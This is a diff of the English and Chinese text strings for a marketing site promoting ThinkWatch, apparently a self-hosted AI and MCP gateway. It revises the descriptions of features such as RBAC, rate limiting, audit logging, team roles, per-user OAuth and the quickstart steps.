can refuse prompt injection or delete hidden characters by rule; every guard starts in observe mode, and its rules can be tried out in the console." }, + { title: "Distroless containers", body: "The server image holds one statically linked binary on a distroless base, with no shell. The server refuses to start with a JWT secret shorter than 32 characters, and deleted users, keys, and providers are purged after 30 days." }, + { title: "Model allowlists on every API", body: "A request may use only the models allowed by both the API key's allowlist and the user's roles. The same check applies to OpenAI Chat Completions, OpenAI Responses, Anthropic Messages, and Gemini requests, so no API bypasses it." }, ], }, { id: "observability", label: "Observability", - tagline: "Know exactly what your AI is doing.", + tagline: "Metrics, audit logs, and real-time monitoring for AI traffic.", + bullets: [ + { title: "Prometheus metrics", body: "When a metrics token is configured, the console port serves /metrics behind bearer authentication, with counters for rate-limit and budget refusals, cache hits, audit pipeline health, and more." }, + { title: "ClickHouse audit logs", body: "Logs of all API calls and tool calls are stored in ClickHouse, a columnar database, where they can be queried with SQL." }, + { title: "Multi-channel forwarding", body: "UDP/TCP Syslog (RFC 5424), Kafka through a REST proxy, and HTTP webhooks with optional HMAC signatures route audit events to any SIEM, data lake, or alerting pipeline." }, + { title: "Health & readiness", body: "/health/live, /health/ready (which checks PostgreSQL, Redis, ClickHouse, and at least one active provider), and /api/health with per-dependency latency and connection-pool statistics." }, + { title: "Unified log explorer", body: "Search audit, gateway, MCP, access, and application logs from a single page. Each cell offers buttons to filter on or exclude its value, -key:value excludes a value in the query, and the query is kept in the URL." }, + { title: "Live dashboard", body: "The console overview receives live data over a WebSocket: requests per minute, each provider's latency, success rate, and circuit-breaker state, the most active users, and the latest requests, without a page refresh." }, + { title: "Full-body audit capture", body: "By default, request and response bodies of gateway calls, and the arguments and results of MCP tool calls, are stored in ClickHouse with each log row, compressed and kept for their own retention period. Bodies can be redacted with the outbound redaction rules before they are stored. Bodies above the inline size limit are moved to S3-compatible storage such as MinIO or the bundled RustFS. Auditors read bodies in the log detail panel or search across them; access requires the separate logs:read_bodies permission." }, + ], + }, + { + id: "teams", + label: "Teams", + tagline: "Users grouped into teams for delegated administration and reporting.", bullets: [ - { title: "Prometheus metrics", body: "GET /metrics on the gateway port: gateway_requests_total, gateway_tokens_total, circuit_breaker_state, and more." }, - { title: "ClickHouse audit logs", body: "SQL-queryable audit logs across all API calls and tool invocations, stored in ClickHouse for high-performance columnar analytics." }, - { title: "Multi-channel forwarding", body: "UDP/TCP Syslog (RFC 5424), Kafka, and HTTP webhooks — route audit events to any SIEM, data lake, or alerting pipeline." }, - { title: "Health & readiness", body: "/health/live, /health/ready (with PG + Redis checks), and /api/health with detailed latency and pool statistics." }, - { title: "Unified log explorer", body: "Search across audit, gateway, MCP, access, and platform logs from a single page with structured query syntax." }, + { title: "Teams and members", body: "Administrators create teams and add users to them. A user can belong to several teams." }, + { title: "Team-scoped roles", body: "A role can be granted to a user for one team only. Its team permissions, such as managing members and reading usage and cost analytics, then cover that team alone, and it grants no administrative rights over platform-wide resources such as providers, models, MCP servers, settings, or roles. The built-in Team Manager role is intended for this." }, + { title: "Roles inherited from a team", body: "A role can also be assigned to a team as a whole, and every member of the team receives it." }, + { title: "Analytics by team", body: "Usage and cost analytics can be filtered by team. A user whose analytics permission is granted for specific teams sees only the members of those teams." }, ], }, ], }, + mcpAdvantage: { + eyebrow: "MCP gateway", + title: "Built for organizations, ", + titleHighlight: "not single users", + sub: "Most MCP gateways are designed for a single user with one shared service account. ThinkWatch is designed for organizations in which each developer authenticates upstream under their own identity, each tool call is audited back to a specific person, and the entire system runs inside the organization's network.", + tableTitle: "MCP gateway comparison", + tableNote: "SaaS gateways = hosted MCP gateways, where traffic leaves your network and upstream access is typically shared. DIY = mcp-proxy or homegrown shims. Individual products vary; check the one you are evaluating.", + legendShared: "shared account", + legendPartial: "partial", + legendLimited: "limited", + legendHostedOnly: "hosted-only", + legendSaas: "SaaS-only", + legendVaries: "varies", + legendEnglish: "English-only", + legendProprietary: "varies by vendor", + legendOss: "OSS", + columns: ["Capability", "ThinkWatch", "SaaS gateways", "DIY mcp-proxy"], + rows: [ + { label: "Per-user upstream OAuth (no shared service account)", values: ["yes", "shared", "no"] }, + { label: "Onboarding from a server URL via Dynamic Client Registration", values: ["yes", "partial", "no"] }, + { label: "Tool-level RBAC and per-user tool catalogs", values: ["yes", "limited", "no"] }, + { label: "Full audit trail in ClickHouse (queryable, forwardable)", values: ["yes", "hosted-only", "no"] }, + { label: "Response cache kept separate per user and account", values: ["yes", "n/a", "no"] }, + { label: "Self-hosted, single Rust binary, distroless", values: ["yes", "saas", "varies"] }, + { label: "Bilingual UI out of the box (English + 中文)", values: ["yes", "english", "no"] }, + { label: "BSL 1.1: free for non-production and small production use", values: ["yes", "proprietary", "oss"] }, + ], + cardsTitle: "Capabilities", + cards: [ + { title: "Per-user upstream identity", body: "With per-user OAuth, GitHub issues are created by Alice and Linear tickets are assigned to Bob, rather than to a shared mcp-bot service account. Audit trails extend end to end, from the IDE through ThinkWatch to the upstream system." }, + { title: "Onboarding through Dynamic Client Registration", body: "For upstreams that support Dynamic Client Registration, the OAuth handshake runs automatically. The connection is established once the server URL is pasted and access is approved on the consent page, with no app registration or manual copying of client_id and secret." }, + { title: "Access control for tools", body: "Tool-level RBAC and per-user tool catalogs ensure that each user sees only the tools permitted by their role and upstream account. A role can be limited to specific tools, such as read-only ones." }, + { title: "Fully self-hosted", body: "ThinkWatch runs on the organization's own infrastructure as a single Rust binary backed by Postgres, Redis, and ClickHouse. There is no SaaS lock-in, and MCP traffic goes from ThinkWatch directly to the upstream servers, without a third-party gateway service in between." }, + ], + }, + live: { - eyebrow: "The Console", - title: "Every token. Every key. ", - titleHighlight: "Every call", - sub: "Real-time observability over every AI request flowing through your organization. The panels below are live React components — not screenshots — rendering with mock data so you can see what the console feels like.", + eyebrow: "Console", + title: "Visibility into every ", + titleHighlight: "token, key, and call", + sub: "Real-time observability for AI requests across an organization. The panels below are React components rendered with mock data, not screenshots, and illustrate the console interface.", overview: "Overview · MTD", logs: "Unified log explorer", health: "Upstream health", @@ -142,70 +199,44 @@ const dict = { quickstart: { eyebrow: "Quick start", - title: "Up and running in ", - titleHighlight: "under a minute", - sub: "Self-host with Docker Compose for a single-node deployment, or use the Helm chart for production Kubernetes. Either way, four commands and you have a working gateway.", - pointAt: "Then point your client at the gateway", - footer: "Zero code changes required — just swap the base URL and use a virtual ", + title: "Run it from source in ", + titleHighlight: "four steps", + titleEnd: ".", + sub: "These are the development steps from the ThinkWatch README. For production, the deployment guide covers Docker Compose, Kubernetes with Helm, SSL, and production hardening.", + deployLink: "Deployment guide", + pointAt: "Point the client at the gateway", + footer: "Drop-in replacement: change the base URL and use a virtual ", footerSuffix: " key.", steps: [ - { title: "Start infrastructure", body: "Bring up PostgreSQL, Redis, and ClickHouse via Docker Compose." }, - { title: "Start the gateway", body: "Both ports come up: 3000 (gateway) and 3001 (console API)." }, - { title: "Start the console UI", body: "Vite dev server on :5173 with hot reload." }, - { title: "Run the setup wizard", body: "Create the super_admin account and add your first provider." }, - ], - }, - - license: { - eyebrow: "License", - title: "Source-available. ", - titleHighlight: "Free for most teams", - sub: "ThinkWatch is licensed under the Business Source License 1.1. Non-production use is free forever, and production use is free up to generous monthly thresholds — only commercial above that.", - mostTeams: "Most teams", - footnote: ["\"Billable Token\" and \"MCP Tool Call\" definitions, the tiering model, and the changeover to GPL-2.0-or-later are all detailed in ", "LICENSING.md", "."], - tiers: [ - { - name: "Non-production", - price: "Free", - priceNote: "forever", - audience: "Development, staging, evaluation, internal demos.", - features: ["Unlimited tokens", "Unlimited MCP tool calls", "All gateway features", "All security features", "Community support"], - ctaLabel: "Self-host now", - }, - { - name: "Production · Free Tier", - price: "Free", - priceNote: "up to thresholds", - audience: "Small teams running production workloads.", - features: ["Up to 10,000,000 billable tokens / month", "Up to 10,000 MCP tool calls / month", "All features included", "BSL 1.1 license", "Auto-converts to GPL-2.0-or-later after change date"], - ctaLabel: "Read the license", - }, - { - name: "Production · Commercial", - price: "Tiered", - priceNote: "by usage", - audience: "Organizations exceeding the free thresholds.", - features: ["Above 10M tokens or 10K MCP calls per UTC month", "Commercial license required", "Priced by usage tiers", "Priority support available", "Custom deployment guidance"], - ctaLabel: "Contact sales", - }, + { title: "Start infrastructure", body: "Brings up PostgreSQL, Redis, ClickHouse, and the other development services with Docker Compose." }, + { title: "Generate dev secrets and start the backend", body: "Writes .env from .env.example with random secrets, then starts the gateway (:3000) and the console (:3001)." }, + { title: "Start the web console", body: "Installs dependencies and starts the Vite dev server." }, + { title: "Finish the setup wizard", body: "Create the Super Admin account and set the site name; the wizard then issues a first API key." }, ], }, - star: { - eyebrow: "Community", - title: "Watch the project ", - titleHighlight: "grow", - sub: "ThinkWatch is open development. Star the repo to follow releases and shape the roadmap.", - cta: "Star on GitHub", - }, footer: { - tagline: "The single gateway through which all AI access must flow. Authenticated, authorized, rate-limited, logged, and accounted for.", - product: "Product", + tagline: "A gateway between AI clients and the models they call.", + product: "Products", resources: "Resources", - copyright: "Source-available under BSL 1.1.", + licensing: "ThinkWatch Enterprise is licensed under BSL 1.1. ThinkWatch Lite and ThinkWatch Core are licensed under MIT.", + copyright: "", builtWith: "Built with Astro · Deployed on GitHub Pages", }, + + notFound: { + title: "404: Page not found · ThinkWatch", + description: "The page you were looking for could not be found.", + headline: "Page not found", + sub: "The link may be out of date, or the page may have moved. The links below lead to the main sections of the site.", + home: "Home", + thinkwatch: "ThinkWatch Enterprise", + lite: "ThinkWatch Lite", + core: "ThinkWatch Core", + docs: "Docs", + linksLabel: "Other pages", + }, }, "zh-CN": { @@ -215,51 +246,50 @@ const dict = { copy: "复制", copied: "已复制 ✓", skipToContent: "跳转到正文", + sponsors: "赞助商:", + sponsorsCta: "想出现在这里吗?", }, nav: { + thinkwatch: "企业版", + lite: "Lite", + core: "Core", + pricing: "定价", how: "工作原理", features: "功能特性", + mcp: "MCP", console: "控制台", quickstart: "快速开始", + docs: "文档", changelog: "更新日志", githubShort: "GitHub →", }, - hero: { - badge: "v0.1.0 — 公开预览", - titleA: "面向所有 AI 流量", - titleB: "的", - titleHighlight: "安全网关", - sub: "ThinkWatch 是企业内所有模型请求与 MCP 工具调用的唯一控制平面。每一次访问都被认证、授权、限流、记录和计费。", - ctaPrimary: "30 秒上手", - stack: ["Rust + Axum", "2 MB Distroless", "OpenAI · Anthropic · Gemini · Bedrock", "BSL 1.1"], - }, compatible: { label: "原生兼容", }, problem: { - eyebrow: "当下的困境", - title: "AI 无处不在,治理却", - titleHighlight: "无人问津", - sub: "随着 AI Agent 在工程团队中爆发,组织面临日益严峻的治理挑战,每个季度都更糟糕。", + eyebrow: "面临的挑战", + title: "缺少治理的 ", + titleHighlight: "AI 使用", + sub: "随着 AI Agent 在工程团队中广泛使用,组织面临日益增加的治理需求。", pains: [ - { icon: "🔑", title: "密钥四散", body: "硬编码在 .env、在 Slack 里互传、从未轮换。一把泄露的密钥能在一夜之间烧光当月预算。" }, - { icon: "👁", title: "毫无可见性", body: "谁用了哪个模型?消耗多少 token?归到哪个项目?账单到了才知道。" }, - { icon: "🛡", title: "无访问控制", body: "每位工程师都能直连任意模型和任意 MCP 工具,根本谈不上最小权限。" }, - { icon: "📜", title: "合规盲区", body: "AI 辅助代码生成和数据访问没有任何审计轨迹,法务和安全团队连最基本的问题都答不上来。" }, - { icon: "💸", title: "成本爆雷", body: "每月 AI 账单没人能解释、没人能归因。预算超支几周之后才被发现。" }, + { icon: "key", title: "密钥分散管理", body: "密钥硬编码于 .env 文件、通过聊天工具传递,且很少轮换。" }, + { icon: "eye", title: "缺乏可见性", body: "无法得知谁调用了哪个模型、消耗了多少 token、产生了多少成本。" }, + { icon: "shield", title: "缺少访问控制", body: "每位开发者均可直接访问所有模型与 MCP 工具。" }, + { icon: "audit", title: "合规缺口", body: "AI 辅助代码生成与数据访问缺少审计日志。" }, + { icon: "cost", title: "成本无法归属", body: "每月的 AI 支出无法解释,也无法归属到具体用户或团队。" }, ], - footer: ["ThinkWatch 用", "一次部署", "解决所有这些问题。"], + footer: ["ThinkWatch 通过", "单次部署", "解决上述问题。"], }, how: { eyebrow: "工作原理", - title: "所有 AI 请求都流经", - titleHighlight: "同一道网关", - sub: "OpenAI 和 Anthropic SDK 的零侵入替代品。你的 Agent 完全不需要改代码,只要把 base URL 指向 ThinkWatch。", + title: "所有 AI 请求均经由", + titleHighlight: "统一网关", + sub: "可直接替换 OpenAI 与 Anthropic SDK 的接入方式。Agent 无需修改现有代码,只需将 base URL 指向 ThinkWatch。", callersLabel: "调用方", upstreamsLabel: "上游模型", gatewayPort: "网关 :3000", @@ -267,77 +297,132 @@ const dict = { gatewayTagline: "AI API + MCP 统一代理", pipelineLabel: "请求生命周期内部", pipeline: [ - { step: "01", label: "身份认证", body: "虚拟 `tw-` API 密钥校验到 PostgreSQL,限定到用户/团队/项目级别。" }, - { step: "02", label: "权限授权", body: "5 级 RBAC 根据调用方角色检查模型与工具的访问权限。" }, - { step: "03", label: "限流", body: "Redis 实现的滑动窗口 RPM/TPM 限制,可按密钥或按用户。" }, + { step: "01", label: "身份认证", body: "按哈希在 PostgreSQL 中查找 `tw-` API 密钥,确定其所属用户。" }, + { step: "02", label: "权限授权", body: "可用的模型与 MCP 工具由用户的角色决定(包括从团队继承的角色),并按密钥自身的白名单进一步收窄。" }, + { step: "03", label: "限流", body: "在 Redis 滑动窗口中检查用户与密钥的请求次数限制;预算用尽后请求会被拒绝。" }, { step: "04", label: "路由与转换", body: "选择 Provider 并自动转换请求格式(Anthropic ⇄ OpenAI ⇄ Bedrock ⇄ Gemini)。" }, - { step: "05", label: "流式转发与计量", body: "SSE 零开销转发,token 实时计数。" }, - { step: "06", label: "审计", body: "每次调用写入 ClickHouse,可选转发到你的 SIEM。" }, + { step: "05", label: "流式返回与计量", body: "响应边到达边返回给客户端,同时从中读取 token 用量并计算费用。" }, + { step: "06", label: "审计", body: "每次调用写入 ClickHouse,并可选择转发至 SIEM。" }, ], }, features: { eyebrow: "功能特性", - title: "网关、MCP 代理、RBAC、分析 —— ", - titleHighlight: "全在一个二进制里", - sub: "ThinkWatch 是一个 Rust 二进制,依赖 PostgreSQL、Redis、ClickHouse。没有微服务大杂烩,没有粘合代码 —— 所有职责都在同一个控制平面里处理。", + title: "网关、MCP 代理、RBAC 与分析", + titleHighlight: "集成于单一二进制", + sub: "网关、MCP 代理与管理 API 由同一个 Rust 二进制程序提供,依赖 PostgreSQL、Redis 与 ClickHouse,无需拆分微服务或编写粘合代码。", modules: [ { id: "ai-gateway", label: "AI API 网关", - tagline: "一个端口,所有模型,零侵入接入。", + tagline: "单一端口接入所有支持的模型,可直接替换现有接入。", bullets: [ - { title: "多格式代理", body: "OpenAI Chat Completions、Anthropic Messages、OpenAI Responses 三种 API 在同一端口提供 —— Cursor、Continue、Cline、Claude Code 以及官方 SDK 都可零修改接入。" }, - { title: "多 Provider 路由", body: "OpenAI、Anthropic、Google Gemini、Azure OpenAI、AWS Bedrock,或任何 OpenAI 兼容端点,请求格式自动转换。" }, - { title: "虚拟 API 密钥", body: "按团队、项目或开发者签发限定范围的 tw- 密钥,一键吊销。明文仅展示一次;存储为 SHA-256 哈希。" }, - { title: "滑动窗口限流", body: "基于 Redis 的 RPM/TPM 限制,可按密钥或按用户。内置三态熔断(Closed/Open/HalfOpen)和指数退避重试。" }, - { title: "实时成本追踪", body: "按模型计价,含预算告警与团队归因。SSE 零开销转发,token 实时计数。" }, + { title: "多格式代理", body: "OpenAI Chat Completions、OpenAI Responses、Anthropic Messages 与 Gemini 四种 API 在同一端口提供。Cursor、Continue、Cline、Claude Code 及官方 SDK 只需更换 base URL 即可接入。" }, + { title: "按模型路由:自动或手动", body: "每个模型有独立的路由设置。自动模式按延迟、成功率或两者结合(默认)为上游分配权重;手动模式通过拖拽流量条按固定比例分配。熔断器将故障上游移出轮换,因可重试错误而失败的请求会转发到其他上游,控制台展示每条路由的实时健康状态。" }, + { title: "多 Provider 与模型级开关", body: "OpenAI、Anthropic、Google Gemini、Azure OpenAI、AWS Bedrock,或任意 OpenAI 兼容端点,请求格式自动转换。可在不停用整个 Provider 的前提下暂停单个模型;每条请求日志均记录实际提供服务的上游模型。" }, + { title: "虚拟 API 密钥", body: "每把 tw- 密钥归属于一位用户,可限定用于 AI 网关、MCP 网关、管理 API 或其任意组合,并可标注成本中心。密钥支持到期时间、闲置超时,以及带宽限期的轮换(宽限期内旧密钥仍可使用);已吊销和已停用的密钥列在单独的分页中。明文仅展示一次,只存储哈希。" }, + { title: "限流与预算", body: "滑动窗口(1 分钟至 1 周)限制请求数或 token 数,按日、周或月设置的预算限制 token 用量(按模型加权)。两者均可设置在用户、API 密钥或角色上,同时作用于模型请求与 MCP 工具调用。请求数在请求前检查;token 与预算在响应后计入,预算用尽后的请求会被拒绝。客户端可以向网关查询自己的密钥已用多少、限额还剩多少。Redis 或数据库读取失败时默认不做限制,也可设置为直接拒绝这些请求。" }, + { title: "成本核算", body: "每个请求按平台统一的 token 单价与各模型的权重计价。费用可按模型、用户、Provider 与成本中心汇总,并可按团队筛选,支持导出 CSV 分摊报表和月末预测。预算用量达到 50%、80%、95%、100% 时,每个周期各在审计日志中记录一次预警。" }, + { title: "管理 API 与 OpenAPI 文档", body: "API 密钥、用户、Provider 与各项设置均可通过管理 API 管理,使用获准调用管理 API 的 tw- 密钥即可。OpenAPI 规范描述了各个接口,脚本与 CI 流水线无需控制台即可管理密钥的生命周期。" }, ], }, { id: "mcp-gateway", label: "MCP 网关", - tagline: "把所有 MCP 工具聚合到同一个端点。", + tagline: "按用户 OAuth、一键接入与全量审计。", bullets: [ - { title: "集中式工具代理", body: "一个 MCP 端点聚合所有上游服务器的工具,告别在各编辑器之间散落的 MCP 配置。" }, - { title: "命名空间隔离", body: "github__create_issue、postgres__query —— 跨数百个上游服务器也不会出现工具名冲突。" }, - { title: "工具级 RBAC", body: "精准控制哪些用户或角色可以调用哪些工具。结合 5 级 RBAC 模型实现最小权限。" }, - { title: "连接池与健康检查", body: "自动重连、后台健康探活,每个上游服务器的状态在控制台实时可见。" }, - { title: "全量审计轨迹", body: "每一次工具调用都记录调用方、参数、响应 —— 全部可在 ClickHouse 中 SQL 查询。" }, + { title: "按用户的上游凭证", body: "每位开发者通过 OAuth 或个人令牌,以本人身份连接 GitHub、Notion、Linear、Slack 或 Atlassian,上游审计轨迹不会因共享服务账号而失真。同一个 MCP 端点使用每位用户自己的凭证,为其提供各自的数据。" }, + { title: "粘贴服务器 URL 完成 OAuth 接入", body: "粘贴 MCP 服务器 URL 后,ThinkWatch 自动发现其 OAuth 端点;上游支持 Dynamic Client Registration 时自动完成注册,无需在各开发者门户中手动注册应用。匿名探测返回的 401 或 403 被识别为「需要登录」,而非「失败」。" }, + { title: "MCP Store 模板", body: "MCP Store 内置 37 个常用 MCP 服务器模板,包括 GitHub、Notion、Atlassian、Stripe 等。安装模板时自动填入服务器地址与登录方式。同一用户可为一个服务器连接多个账号(如个人与工作 GitHub),并为每把 API 密钥指定其中一个。" }, + { title: "工具级 RBAC 与用户工具目录", body: "由角色和 API 密钥决定可列出、可调用的 MCP 工具,粒度可细至单个工具或某一服务器的全部工具。每位用户看到的工具列表取决于其本人上游账号的可用范围。" }, + { title: "连接测试", body: "「连接」页面中每个已连接的账号均可针对上游服务器进行测试;新保存的个人令牌会在保存时立即验证。" }, + { title: "审计与缓存隔离", body: "每一次工具调用的调用方、参数与结果均记录到 ClickHouse。使用按用户凭证的服务器,其响应按用户和账号分别缓存,互不共享。指向内网或回环地址的服务器地址会被拒绝,工具调用同样受限流约束。" }, + { title: "工具结果流式返回", body: "在 tools/call 上接受事件流的客户端,会在上游事件到达时逐条收到,包括进度通知与最终结果;其他客户端收到一次性的 JSON 响应。两种方式下,审计记录均保存完整的事件序列。" }, ], }, { id: "security", label: "安全与合规", - tagline: "默认即纵深防御。", + tagline: "默认启用纵深防御。", bullets: [ { title: "双端口架构", body: "网关(:3000,对外)与控制台(:3001,对内)分离。只有网关应当对公网暴露。" }, - { title: "5 级 RBAC + SSO/OIDC", body: "Super Admin、Admin、Team Manager、Developer、Viewer 五级角色。可对接 Zitadel、Okta、Azure AD 或任意 OIDC Provider。" }, - { title: "AES-256-GCM 静态加密", body: "Provider API Key 与机密信息静态加密。虚拟密钥以 SHA-256 哈希存储,明文只展示一次。" }, - { title: "加固的 HTTP 层", body: "CSP、X-Frame-Options、CORS 白名单、请求超时。管理员会话绑定客户端 IP —— 被盗 token 无法异网重放。" }, - { title: "Distroless 容器", body: "2 MB 运行时镜像,无 shell,攻击面最小化。启动时强制 JWT 熵校验;软删除 30 天后自动清理。" }, + { title: "自定义角色 + SSO/OIDC", body: "内置从超级管理员到只读用户共五个角色,并可创建任意数量的自定义角色。新角色可从现有角色复制起步,权限策略可在控制台中以 JSON 编辑,每次修改都保留在角色的变更历史中。角色也可仅针对某一团队授予。登录支持 Zitadel、Okta、Azure AD 或任意 OIDC Provider,可选 TOTP 二次验证。" }, + { title: "AES-256-GCM 静态加密", body: "Provider 密钥、MCP 令牌及其他上游凭据以 AES-256-GCM 加密存储。虚拟 API 密钥以 HMAC-SHA256 哈希存储,明文只展示一次。" }, + { title: "HttpOnly Cookie 会话", body: "访问令牌和刷新令牌均存储在 HttpOnly Cookie 中,JavaScript 无法读取。每个控制台会话还会用一把绑定登录时 IP 地址的密钥为请求签名,被盗的 Cookie 无法在其他网络中重放。" }, + { title: "请求防护", body: "凭据和个人信息可在请求发往上游前替换为占位符,并在回答中还原;下载即执行、外发凭据之类的工具调用可在客户端执行前切断。内容过滤可按规则拒绝提示注入或删除隐藏字符;各项防护出厂为观察档,规则可在控制台中试用。" }, + { title: "Distroless 容器", body: "服务端镜像只包含一个静态链接的二进制程序,基于 distroless 基础镜像,不含 shell。JWT 密钥短于 32 个字符时服务端拒绝启动;已删除的用户、密钥与 Provider 在 30 天后彻底清除。" }, + { title: "模型白名单覆盖全部 API", body: "请求只能使用同时被 API 密钥白名单与用户角色允许的模型。该检查对 OpenAI Chat Completions、OpenAI Responses、Anthropic Messages 与 Gemini 请求一致生效,任何 API 均无法绕过。" }, ], }, { id: "observability", label: "可观测性", - tagline: "清楚地知道你的 AI 在做什么。", + tagline: "面向 AI 流量的指标、审计日志与实时监控。", + bullets: [ + { title: "Prometheus 指标", body: "配置指标令牌后,控制台端口提供需 Bearer 认证的 /metrics,包含限流与预算拒绝、缓存命中、审计管线健康等计数器。" }, + { title: "ClickHouse 审计日志", body: "所有 API 调用与工具调用的日志存储于列式数据库 ClickHouse,可直接用 SQL 查询。" }, + { title: "多通道转发", body: "UDP/TCP Syslog(RFC 5424)、经 REST 代理的 Kafka,以及可选 HMAC 签名的 HTTP Webhook,可将审计事件转发至任意 SIEM、数据湖或告警系统。" }, + { title: "健康与就绪", body: "/health/live、/health/ready(检查 PostgreSQL、Redis、ClickHouse 以及至少一个启用的 Provider),以及提供各依赖延迟与连接池统计的 /api/health。" }, + { title: "统一日志检索", body: "在同一页面搜索审计、网关、MCP、访问与应用日志。每个单元格提供按其值筛选或排除的按钮,查询中可用 -key:value 排除指定值,查询条件保存在 URL 中。" }, + { title: "实时看板", body: "控制台总览通过 WebSocket 接收实时数据:每分钟请求数,各 Provider 的延迟、成功率与熔断状态,最活跃的用户以及最新请求,无需刷新页面。" }, + { title: "全量请求 / 响应体审计", body: "默认情况下,网关调用的请求体与响应体、MCP 工具调用的参数与结果,随每条日志一并存入 ClickHouse,压缩存储并单独设置保留期限。可在写入前按出站脱敏的规则脱敏。超过内联大小上限的内容转存到 S3 兼容存储,如 MinIO 或内置的 RustFS。审计员可在日志详情面板中查看,也可跨日志搜索;查看需要单独的 logs:read_bodies 权限。" }, + ], + }, + { + id: "teams", + label: "团队", + tagline: "将用户编入团队,用于分级管理与统计。", bullets: [ - { title: "Prometheus 指标", body: "网关端口的 GET /metrics 暴露 gateway_requests_total、gateway_tokens_total、circuit_breaker_state 等指标。" }, - { title: "ClickHouse 审计日志", body: "所有 API 调用与工具调用的审计日志可 SQL 查询,存储于 ClickHouse 列式 OLAP 数据库以获得高性能。" }, - { title: "多通道转发", body: "UDP/TCP Syslog(RFC 5424)、Kafka、HTTP Webhook —— 把审计事件转发到任意 SIEM、数据湖或告警系统。" }, - { title: "健康与就绪", body: "/health/live、/health/ready(含 PG + Redis 检查)以及 /api/health 提供详细延迟与连接池统计。" }, - { title: "统一日志检索", body: "在同一页面用结构化查询语法搜索审计、网关、MCP、访问、平台等所有日志。" }, + { title: "团队与成员", body: "管理员创建团队并将用户加入团队。一位用户可同时属于多个团队。" }, + { title: "团队范围角色", body: "角色可仅针对某一团队授予用户。其团队权限(如管理成员、查看用量与费用统计)仅覆盖该团队,且不授予对 Provider、模型、MCP 服务器、设置、角色等平台级资源的任何管理权限。内置的团队管理员角色即为此设计。" }, + { title: "从团队继承的角色", body: "角色也可整体分配给团队,团队中的每位成员都会获得该角色。" }, + { title: "按团队统计", body: "用量与费用统计可按团队筛选。统计权限仅针对特定团队授予的用户,只能看到这些团队的成员。" }, ], }, ], }, + mcpAdvantage: { + eyebrow: "MCP 网关", + title: "为组织设计,", + titleHighlight: "而非单一用户", + sub: "大多数 MCP 网关面向「单一用户 + 共享服务账号」的场景设计。ThinkWatch 面向组织设计:每位开发者以本人身份连接上游,每一次工具调用均可追溯到具体用户,整套系统部署在组织自有网络内。", + tableTitle: "MCP 网关方案对比", + tableNote: "SaaS 网关 = 托管式 MCP 网关:流量出网,上游访问通常是共享的。DIY = mcp-proxy 或自研中转脚本。各家产品不同,请以你正在评估的那一款为准。", + legendShared: "共享账号", + legendPartial: "部分支持", + legendLimited: "受限", + legendHostedOnly: "仅托管版", + legendSaas: "仅 SaaS", + legendVaries: "因方案而异", + legendEnglish: "仅英文", + legendProprietary: "因产品而异", + legendOss: "开源", + columns: ["能力", "ThinkWatch", "SaaS 网关", "DIY mcp-proxy"], + rows: [ + { label: "按用户的上游 OAuth(无共享服务账号)", values: ["yes", "shared", "no"] }, + { label: "粘贴服务器 URL,经 Dynamic Client Registration 接入", values: ["yes", "partial", "no"] }, + { label: "工具级 RBAC 与用户工具目录", values: ["yes", "limited", "no"] }, + { label: "ClickHouse 全量审计(可查询、可转发)", values: ["yes", "hosted-only", "no"] }, + { label: "响应缓存按用户和账号分别存放", values: ["yes", "n/a", "no"] }, + { label: "可自托管,单一 Rust 二进制(distroless)", values: ["yes", "saas", "varies"] }, + { label: "开箱即用的中英双语界面", values: ["yes", "english", "no"] }, + { label: "BSL 1.1:非生产与小规模生产环境免费", values: ["yes", "proprietary", "oss"] }, + ], + cardsTitle: "核心能力", + cards: [ + { title: "按用户的上游身份", body: "按用户的 OAuth 使 GitHub Issue 由 Alice 创建、Linear 工单分配给 Bob,而非统一归属于 mcp-bot 服务账号。审计轨迹端到端贯通:从 IDE 经由 ThinkWatch 直至上游系统。" }, + { title: "基于 Dynamic Client Registration 的接入", body: "对支持 Dynamic Client Registration 的上游,OAuth 握手自动完成。粘贴服务器 URL 并在授权页确认后即可完成连接,无需注册应用,也无需手动复制 client_id/secret。" }, + { title: "工具访问控制", body: "工具级 RBAC 与按用户的工具目录,确保每位用户仅能看到其角色与上游账号实际可用的工具。角色可限定为只能使用指定的工具,例如只读工具。" }, + { title: "完全自托管", body: "ThinkWatch 以单一 Rust 二进制程序运行在组织自有的基础设施上,依赖 Postgres、Redis 与 ClickHouse。无 SaaS 锁定,MCP 流量由 ThinkWatch 直接发往上游服务器,中间不经过第三方网关服务。" }, + ], + }, + live: { eyebrow: "管理控制台", - title: "每一个 token、每一把密钥、", - titleHighlight: "每一次调用", - sub: "对组织内每一个 AI 请求的实时可观测性。下面这些面板是真正的 React 组件 —— 不是截图 —— 用模拟数据渲染,让你直观感受控制台。", + title: "token、密钥与调用的", + titleHighlight: "实时可观测性", + sub: "对组织内 AI 请求的实时可观测。以下面板为使用模拟数据渲染的 React 组件,并非截图,用于展示控制台界面。", overview: "总览 · 当月", logs: "统一日志检索", health: "上游健康", @@ -346,70 +431,44 @@ const dict = { quickstart: { eyebrow: "快速开始", - title: "", - titleHighlight: "一分钟内", - sub: "用 Docker Compose 单节点自托管,或用 Helm Chart 上生产 Kubernetes。无论哪种方式,4 条命令就能跑起来。", - pointAt: "然后把客户端指向网关", - footer: "无需修改任何代码 —— 只需替换 base URL 并使用虚拟 ", + title: "通过", + titleHighlight: "四个步骤", + titleEnd: "从源码运行", + sub: "以下是 ThinkWatch README 中的开发步骤。生产部署请参阅部署指南,涵盖 Docker Compose、Kubernetes Helm、SSL 与生产加固。", + deployLink: "部署指南", + pointAt: "将客户端指向网关", + footer: "可直接替换:更换 base URL,并使用虚拟 ", footerSuffix: " 密钥。", steps: [ - { title: "启动基础设施", body: "通过 Docker Compose 拉起 PostgreSQL、Redis、ClickHouse。" }, - { title: "启动网关", body: "两个端口同时启动:3000(网关)与 3001(控制台 API)。" }, - { title: "启动控制台 UI", body: "Vite 开发服务器跑在 :5173,支持热重载。" }, - { title: "运行初始化向导", body: "创建超级管理员账号并添加第一个 Provider。" }, + { title: "启动基础设施", body: "通过 Docker Compose 启动 PostgreSQL、Redis、ClickHouse 以及其他开发依赖服务。" }, + { title: "生成开发密钥并启动后端", body: "从 .env.example 派生 .env 并填入随机密钥,然后启动网关(:3000)和控制台(:3001)。" }, + { title: "启动 Web 控制台", body: "安装依赖并启动 Vite 开发服务器。" }, + { title: "完成设置向导", body: "创建超级管理员账号并设置站点名称,向导随后签发第一把 API 密钥。" }, ], }, - license: { - eyebrow: "授权", - title: "源码开放。", - titleHighlight: "对绝大多数团队免费", - sub: "ThinkWatch 采用 Business Source License 1.1。非生产环境永久免费;生产环境在每月慷慨阈值内同样免费 —— 超出才需商业授权。", - mostTeams: "适合大多数团队", - 